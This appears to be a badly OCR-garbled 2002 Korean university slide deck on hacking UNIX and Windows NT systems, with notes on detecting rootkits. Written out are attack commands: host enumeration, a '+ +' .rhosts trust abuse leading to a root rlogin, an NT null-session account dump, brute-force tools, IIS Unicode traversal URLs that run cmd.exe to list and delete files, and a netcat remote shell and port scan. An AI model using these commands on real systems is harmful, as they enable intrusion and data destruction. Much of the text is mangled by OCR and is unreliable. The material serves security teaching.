-rw-r--r---- 1 root others 176 Apr 20 14:45 test
S J
« STEP 6
& local guest
> su - guest
guest%
A.G.W.
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e STEP 7

& rhosts "+ +'

[[ guest% echo "+ +" > .rhosts

. STEP 8
& target rlogin
4 _ . )
guest% rsh victim.com -l guest /bin/csh
( guest% rlogin victim.com)
target# whoami
oot Y,
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&5 (1) : UNIX

e STEP 1

& finger

| > finger -1 @192.168.100.100

e STEP 2

&5 Tusers

> rusers -1 192.168.100.100
root 192.168.100.100:console

May 6 11:03
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e STEP 3

& smtp vrfy, expn

K telnet 192.168.100.100 25
Trying 192.168.100.100 ...
Connected to 192.168.100.100.
Escape character is ' 7Y".

220 sss.victim.co. kr ESMTP Sendmail 8.8.6 (PHNE_17135)/8.7.1; Fri, 10 Mar
2000 07:11:29 +0100 (MET)

vrfy oracle
QSO Oracle-Admin <sss.victim.co.kr>

J

« STEP 4
& snmp : SNMP

A.G.W.

100 2002 A.G.W, All Rights Reserved CISA (




L4

 BIREESICH

Informiation and Communlcations U niversty

7\

NI

& NT Dump : Netbios null session IPC$

Remote NT

& net use, addusers

account

Dump

f C:\> net use \\VICTIM\IPC$ " /users: "

iC:\> addusers \\VICTIM /d dump.txt

& Netbios
& 137/udp Netbios Name
& 138/udp Netbios Datagram
& 139/tdp Netbios Session

A.G.W.
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=z  Brute Force Attack

&5

password

. Crack

login name

A.G.W.
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&5

Brute Force
telnet/rlogin/rsh/rexec
ftp
pop3
WWW
NT NetBios

SQL Server
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& (1) : Brutus
X Brutus — AETZ — wwew, hoobie net/brutus — Clanuap o) = |EI |i|

File Tools Help

Target |v-.-ww.viu:1im.u:u:m Twpe |[FTF ll ‘ “Start I--Stt_ap |.‘CJ_E'_El_f'|
HTTF (Basic Auth)

~Connection Cptions: HTTFE (Farm
PDI’T |2-| CDHHEG{IDI’TS_ l_l 1|:| Tmeout IEiiM Liza PFD)(\S,' DEﬂnE |

S "POP3
Bes | Telnet
Modify sequence | T Tryto stay connected for |Un|imite «SME (NetBIOS)
2 : : = Custom
MetBus

~Authentication Options:

W Use Usemname ¥ Single Lisar Fass Made I_“F"‘F"':'rd List "'l
LigarlD |rDDt Browse | Pass Fila |W0rd5.txt Browse |

Positive Authentication Results
Target | Type |-Username | Fassword

4| | B

Located and installed 1 authentication plug-ins
Inltlallsm...

Timeout  Heest AuthiEeg htatle Elisk )]

< >
A.G.W.
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& (2) . wwwhack

& wwwhack [registered] B | Elli[

File Access Options  Tools  Help

10l x]
| Found: O I Wwiarnings: I'_'I] _|
Successt -

Passwaord Found For bekp:firhs. securenews, org/level3fauthfinde:x, Rkml

URL: http: //rhs securenews. org/level:
Trying level3:achate via ths.secureney
Atternpt HE7. 2% through password file Username: level3
Tlﬁﬁégn@‘ttf !ﬂ_ﬂ%“ fﬁﬁﬁs'f ﬁ‘lihé} ﬂ{]rﬁa;; Password: africa
Avg, requests/min = 1935

[E&FS [NUM [OVR

< >
A.G.W.
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&5
&<
&5
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& Solaris Ip, Ipset, Ipstat
e Solaris Ip, Ipset, Ipstat

root setuid

. 3 buffer overflow

A.G.W.
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UNICODE character

Windows NT 2000

, "o\

character

MicroSoft IIS 4.0/5.0

IS 4.0 5.0
UNICODE

A.G.W.
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http://hostname/scripts/..%cl1%1c../winnt/system32/cmd.exe?/c+dir+"
c:\" URL c\ dir

http://localhost/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+"

g:\\FTP\upload\Card.zip" URL g:\FTP\upload\Card.zip

Cl%lc lI/lI II\II

=z %c0%af =/

& %cl1%9c =\

A.G.W.
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 SSCHpEs/.

Av./winnt/system32/cmidexe? fotdir+ e W

=

[mep mEe 2w WD SR s | @ |
| &5z - éirﬁmﬁrﬁa“ HEHsT gesey (E-SE-H B
J Eatrl{e) IE‘I hbbe s 30000 300 K soripbs), Sec 1% 1, winntfsystem32 fomd . exe? fordie+ "o i :I reaEli=
|BZ @ICEHE ]REIE @lsmieim €137 2E (UUML @loaum @]EM @]2HIE A AR =
Directory of cilf _l
2001-01-28 03:46a =0|R= A5FRoot ,
Z001-02-05  09:28p =01R= Converted Wave Files
2001-02-14  12:32p =01R= Documents and Settings
2001-02-11  05:36p <01R= Gradellp
2001-01-28 10:32p =0|R= HHC
2001-01-28 05:48a =01R= [metpub
2001-02-09  12:56p <[|R= KFCM3
2001-02-14 D2:54p <0|R= Microsoft UsM Yaolume
2001-02-05  10:23p 22 Mp3FE. mau
2001-01-28 09:25p =01R= MES0LY
2001-02-09  O1:03p <[ Rx Program Flles
2001-02-03 02:29a <01R= W1 TEL2000
2001-02-09 01:02p =0|R= WNWT
2001-02-13 04:15p =01R= WORK
1 File(s) 22 bvtes
13 Diris) 1,332,801 ,536 bytes free
=
@] BtE [ [ [@2ET 7
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lastlog

WWWwW

)

(wtmp, utmp,

A.G.W.

111

2002 A.G.W, All Rights Reserved

CISA (




 BIREESICH

'\_\_\_ Informiation and Communlcations U niversty

 login
A ( )
& utmp wtmp

 telnetd

£ login ,

. services
&

& finger, rsh, rexec, rlogin, ftp, inetd

A.G.W.
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e  cronjob
&
&
&
o library
&
& Crypt.c
 kernel
&
&

=z MD5 checksum

A.G.W.
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& |s, du, fsck

&5

K & &R R
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&5

&5

TCP

= 1024

&5 netstat

UDP

&5

TCP

(DNS

UDP
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& OS vendor

&5 (ps, Is, netstat ) checksum

& MD5

A.G.W.
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W inforrmation and Sommunications University

(DNS, ping)
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&5

Linux Rootkit

25

25

&5

checksum

Linux rootkit IV : 98 12
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25

rootkit

eggdrop

backdoor

wtmp, utmp

Is

chfn, chsh, passwd

crontab

, find, du, ps, pidof, top

ifconfig, netstat, inetd, syslogd, tcpd

login, rshd

wted, lastlog
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& rootkit
 find /dev —type f —print rootkit
. . find  rootkit
o strings /usr/bin/ls /dev/ptyp
e Ipm —Va
. (sniffer )
A.G.W.
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& NT

&5

Back Orifice 2000

CDC(Cult of the Dead Cow)

A.G.W.
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z  Back Orifice 2000

(

Back Orifice

“Remote Administration Service”

)
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& Netcat
s
e listening TCP/IP connection
. listen
. NT
cmd.exe
e TCP/IP

A.G.W.
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=z  Netcat

. cmd.exe (Windows NT)

C:¥teap®ncl INT=nc 11.4.2.145 3333
Hicrosoft ¥indows 2000 [Yersion 5.00.2195]
{C) Copwright 1985-1999 Hicrosoft Corp.

C:¥teapWncl INT>_

A.G.W
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. (Linux)
& ' NC =V W 3 —Z XXXXXX. XXX XXX 1-1024
=10l x|

File  Edit Options Send Recelve MWindow Help

[foyfomel@mars ncll0lS nc -v -w 3 -z 11.4.2.23 1-1024
lice [11.4.2.231 514 (shell) open

lice [11.4.2.231 513 (login) open

lice [11.
lice [11.
lice [11.
lice [11.

i |

4.2.231 512 (exec) open

4

4

4
lice [11.4

4

4

4

4

a

2
2
Z.231 111 (sunrpc) open
Z2.231 37 (time) open
2.23]1 23 (telnet) open
.2.231 21 (ftp) open
lice [11.4.2
lice [11.4.2
lice [11.4.2
lice [11.4.2
[fouf omel@nars

.231 19 i(chargen) open
231 13 (daytime) open
.231 9 (discard) open
.231 7 (echo) open

rs ncl101$

@l | | l&NSEkBES  [TCRAP 1738 | ooool |

A.G.W
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NIC
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3.Q0&A

A.G.W.

128 2002 A.G.W, All Rights Reserved CISA (




= IS NESDIt T

Informiation and Communlcations U niversty

129

2002 A.G.W, All Rights Reserved

A.G.W.
CISA (




S 5000

A.G.W.

130 2002 A.G.W, All Rights Reserved CISA (




EI'EE'EEEEI:IIE[ ul

! infermaiion and Semmunlcaticns Univessity

0 & A

131

2002 A.G.W, All Rights Reserved

A.G.W.
CISA (




